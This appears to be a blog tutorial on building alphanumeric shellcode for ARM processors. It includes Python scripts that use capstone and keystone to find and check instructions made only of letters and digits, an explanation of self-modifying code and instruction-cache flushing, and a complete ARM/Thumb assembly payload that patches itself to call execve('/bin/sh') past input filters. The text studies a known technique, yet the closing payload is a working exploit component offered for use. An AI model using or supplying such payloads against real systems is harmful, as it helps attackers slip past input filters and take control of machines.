Arm Alphanumeric Shellcode
Alphanumeric ARM Shellcode
Shellcode is a piece of code that is used as payload in binary exploitation . It is called a shellcode because for most of the time it is used create shell session to the attacker . The process of creating shellcode is that we write the required code in assembly language and this is coveted to binary by assembling these instructions and this is used . And with a security vulnerability we can make the software execute this code thus giving us access to the machine . Some times these shellcode should pass thought many filters due to the method how the data is read or there might be restriction on the possible characters that can be given as input to the program , for example if the program reads the input as command line argument the shellcode should not contain null characters because the string is terminated by a null and the program will only get the values till that position .
An alphanumeric shellcode should only have alphanumeric characters in it . Most of the input filed will accept this input thus this shellcode have a higher success rate that it will be accepted by the program . We will be creating a shellcode for ARM Architecture
So lets begin ,
We can use capstone to brute all the possible instructions that can be used in both arm and thumb mode . This was useful a couple of time
from capstone import * from itertools import permutations VALID = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" THUMB = False if THUMB: md = Cs(CS_ARCH_ARM, CS_MODE_THUMB) else: md = Cs(CS_ARCH_ARM, CS_MODE_ARM) for j in permutations(VALID,4): for i in md.disasm(''.join(j), 0x1000): print("%s:\t%s\t%s" %(''.join(j), i.mnemonic, i.op_str))
phrack Issue 66 Article 12
Alphanumeric RISC ARM Shellcode by Yves Younan and Pieter Philippaerts was really help full . There is also updated version of this paper by the same person
Then i needed a way to check whether an instruction is alphanumeric or not and we need to generate the shellcode .
from keystone import * from termcolor import colored # ARM Aphanumeric Shellcode Checker THUMB = True CODE = ''' adds r1 , 0x41 ''' CODE = CODE.split('\n') shellcode =  print colored("-"*0x20,'white') try: # Initialize engine in X86-32bit mode if THUMB: ks = Ks(KS_ARCH_ARM, KS_MODE_THUMB) else: ks = Ks(KS_ARCH_ARM, KS_MODE_ARM) for i in CODE: encoding, count = ks.asm(i) if encoding != None : encoding = list(encoding) for j in encoding: shellcode.append(str('\\')) shellcode.append(str('x')) shellcode.append(hex(j)[2:]) if chr(j) not in "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz": print colored( str(j) ,'red' ,), else: print colored( str(j) ,'green' ,), print colored("\t->\t%s " %(i),'blue') except KsError as e: print("ERROR: %s" %e) print(''.join(shellcode))
I basically checks whether the instruction is alphanumeric or not and prints the result with colors ;) .
$ python test.py -------------------------------- 65 49 -> adds r1 , 0x41 \x41\x31
There was a Alphanumeric shellcode in the phrack article which did not work for me , The code crashes on STM instruction which is used to push some values to the sack . Later these values are poped from the stack and loaded to the register . The thing is ,in ARM the argument to a syscall is passed through the registers r0-r3 and the syscall number is in r7 register . So loading values to these registers are really important the only instruction that can be used to manipulate this is LDM and STM , load multiple and store multiple in ARM mode . The case is different in THUMB mode. In thumb mode we can manipulate these registers . I am talking in the context that these instruction should produce alphanumeric characters .
To get a shell we need to call the execve syscall with the
svc instruction which is not a alphanumeric instruction , the solution is to write the correct hex at that location at run time ie , we need to write a self modifying code . And there is instruction cache in ARM which is not invalidated even when instruction in memory is changed. In x86 this happens automatically . Therefor we have to flush the cache manually
MOV r0 , #0 MOV r1 , #−1 MOV r2 , #0 SWI 0x9F0002
This code can be used to flush the cache . Actually the
0x9f0002 will not be alphanumeric , but the 0x9f0002 is treated as data passed to the interrupt so we can give any number which gives alphanumeric code then later change it to the required value at runtime .
The above instruction is for ARM mode , and We can only manipulate the value of r0-r3 register in THUMB mode , So we have to copy the required value to the correct register in THUMB mode then switch to ARM mode to execute this instruction that will flush the cache the again return to THUMB mode and call the syscall with
svc instruction .
All the modification of code should be done before the flush is called.
Lets assume that r0 register contains the value 0
muls r1 , r0 # r1=0 muls r2 , r0 # r2=0 mov r0 , pc # r0=pc muls r5, r2 #r5=0 adds r1, 0x43 subs r1, 0x41 adds r5, 0x41 strb r1 ,[ r0 , r5 ] muls r5 , r2 muls r1 , r2 adds r5, 0x4d strb r1 ,[ r0 , r5 ]
strb instruction can be used to copy a byte to the required location , r0 is initialized with the address of pc we use this as a base address to write the code . we have to use values in the alphanumeric range to produce the required value with some arithmetic operation. In the above code stores 0x2 at the location r0+0x41 and 0x0 at location r0+0x4d . like this we have to modify all the required values .
To jump from THUMB mode to ARM mode we can use
bx pc instruction and from ARM to THUMB we can use
bx r6 so we need to load the address of the location we need to jump before that .
So we will first jump to thumb mode change the code , set the correct register values to flash the cache then jump to arm mode flush the cache change to thumb mode set “/bin/sh” and call execve syscall .
This is the finished shellcode , It is not that optimized but does the job .
# we are asuming that r0=0 .code 16 muls r1 , r0 # r1=0 muls r2 , r0 # r2=0 mov r0 , pc # r0=pc muls r5, r2 # the following code are for inserting adds r1, 0x43 # swi and bx instructions subs r1, 0x41 # 2 0 159 239 -> swi 0x9f0002 adds r5, 0x4d # 22 255 47 225 -> bx r6 adds r5, 0x41 strb r1 ,[ r0 , r5 ] muls r5 , r2 muls r1 , r2 adds r5, 0x4d adds r5, 0x42 strb r1 ,[ r0 , r5 ] muls r5, r2 muls r1, r2 adds r1, 0x61 adds r1, 0x70 subs r1, 0x32 adds r5, 0x4d adds r5, 0x43 strb r1 ,[ r0 , r5 ] muls r5, r2 adds r1, 0x50 adds r5, 0x4d adds r5, 0x44 strb r1 ,[ r0 , r5 ] muls r5, r2 muls r1, r2 adds r1, 0x61 subs r1, 0x4b adds r5, 0x4d adds r5, 0x45 strb r1 ,[ r0 , r5 ] muls r5, r2 muls r1, r2 adds r1, 0x7a adds r1, 0x41 adds r1, 0x44 adds r5, 0x4d adds r5, 0x46 strb r1 ,[ r0 , r5 ] muls r5, r2 muls r1, r2 adds r1, 0x7a subs r1, 0x4b adds r5, 0x4d adds r5, 0x47 strb r1 ,[ r0 , r5 ] muls r5, r2 adds r1, 0x70 adds r1, 0x42 adds r5, 0x4d adds r5, 0x48 strb r1 ,[ r0 , r5 ] muls r5, r2 # this block write 0xdf adds r1, 0x41 # which is the opcode for svc instruction subs r1, 0x43 adds r5, 0x39 adds r5, 0x41 adds r5, 0x4d strb r1 ,[ r0 , r5 ] muls r1 , r2 # set r6 regiseter with correct location adds r1, 0x41 subs r1, 0x42 negs r6 , r1 muls r6 , r0 adds r6 , 0x4d adds r6 , 0x4a muls r0,r2 # r0=0 muls r1,r2 adds r1 , 0x41 subs r1 , 0x42 # r1=-1 bx pc adds r7,0x41 .byte 0x41 0x41 0x41 0x41 # these bytes are modified to swi 0x9f0002 .byte 0x41 0x41 0x41 0x41 # bx r6 muls r2 , r0 mov r0 , pc muls r5 , r2 muls r1 , r2 adds r1 , 100 # AbinAshA is changed to /bin/sh subs r1 , 53 adds r5 , 48 strb r1 ,[ r0 , r5 ] muls r5 , r2 adds r5 , 52 strb r1 , [ r0 , r5] muls r5 , r2 adds r5 , 55 strb r2 , [ r0 , r5] muls r1,r2 adds r1 , 0x50 subs r1 , 0x51 negs r7 , r1 # r7=1 muls r1,r2 adds r1, 0x4c subs r1 , 0x41 # r1=0xb muls r7 , r1 # r7=0xb adds r0, 48 muls r1 , r2 .byte 0x41 0x41 # svc instruction .ascii "AAAAAbinAshA"
Happy Hacking !!